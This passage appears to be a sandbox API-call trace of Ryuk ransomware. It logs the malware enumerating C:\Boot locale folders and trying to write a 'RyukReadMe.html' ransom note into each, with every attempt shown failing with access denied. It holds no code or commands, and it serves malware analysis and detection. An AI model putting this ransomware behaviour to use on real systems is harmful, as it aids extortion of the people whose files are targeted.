	[0123.276] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0123.277] SetLastError (dwErrCode=0x0) 
	[0123.277] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.277] GetLastError () returned 0x5
	[0123.277] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.277] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.277] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.278] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.278] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0123.278] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0123.278] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0123.278] SetLastError (dwErrCode=0x0) 
	[0123.278] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\RyukReadMe.html" (normalized: "c:\\boot\\pl-pl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.279] GetLastError () returned 0x5
	[0123.279] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.279] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.279] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0123.279] SetLastError (dwErrCode=0x0) 
	[0123.279] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.280] GetLastError () returned 0x5
	[0123.280] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.280] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.280] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.280] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.280] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0123.281] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0123.281] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0123.281] SetLastError (dwErrCode=0x0) 
	[0123.281] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\RyukReadMe.html" (normalized: "c:\\boot\\pt-br\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.281] GetLastError () returned 0x5
	[0123.281] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.282] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.282] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0123.282] SetLastError (dwErrCode=0x0) 
	[0123.282] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.282] GetLastError () returned 0x5
	[0123.282] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.282] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.283] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.283] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.283] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0123.283] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0123.283] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0123.283] SetLastError (dwErrCode=0x0) 
	[0123.283] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\RyukReadMe.html" (normalized: "c:\\boot\\pt-pt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.284] GetLastError () returned 0x5
	[0123.284] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.284] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.284] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0123.284] SetLastError (dwErrCode=0x0) 
	[0123.284] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.285] GetLastError () returned 0x5
	[0123.285] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.285] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.285] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.285] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.285] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0123.285] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0123.285] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0123.286] SetLastError (dwErrCode=0x0) 
	[0123.286] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\RyukReadMe.html" (normalized: "c:\\boot\\ru-ru\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.286] GetLastError () returned 0x5
	[0123.287] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.287] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.287] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0123.287] SetLastError (dwErrCode=0x0) 
	[0123.287] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.288] GetLastError () returned 0x5
	[0123.288] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.288] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.288] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.288] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.288] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0123.288] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0123.288] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0123.289] SetLastError (dwErrCode=0x0) 
	[0123.289] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\RyukReadMe.html" (normalized: "c:\\boot\\sv-se\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.289] GetLastError () returned 0x5
	[0123.289] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.289] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.289] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0123.289] SetLastError (dwErrCode=0x0) 
	[0123.289] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.290] GetLastError () returned 0x5
	[0123.290] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.290] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.290] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79b60
	[0123.290] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0123.290] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0123.291] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0123.291] FindClose (in: hFindFile=0x79b60 | out: hFindFile=0x79b60) returned 1
	[0123.291] SetLastError (dwErrCode=0x0) 
	[0123.291] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\RyukReadMe.html" (normalized: "c:\\boot\\tr-tr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.291] GetLastError () returned 0x5
	[0123.291] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ae468, lpOverlapped=0x0) returned 0
	[0123.292] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.292] FindNextFileW (in: hFindFile=0x79e00, lpFindFileData=0x26ae520 | out: lpFindFileData=0x26ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0123.292] SetLastError (dwErrCode=0x0) 
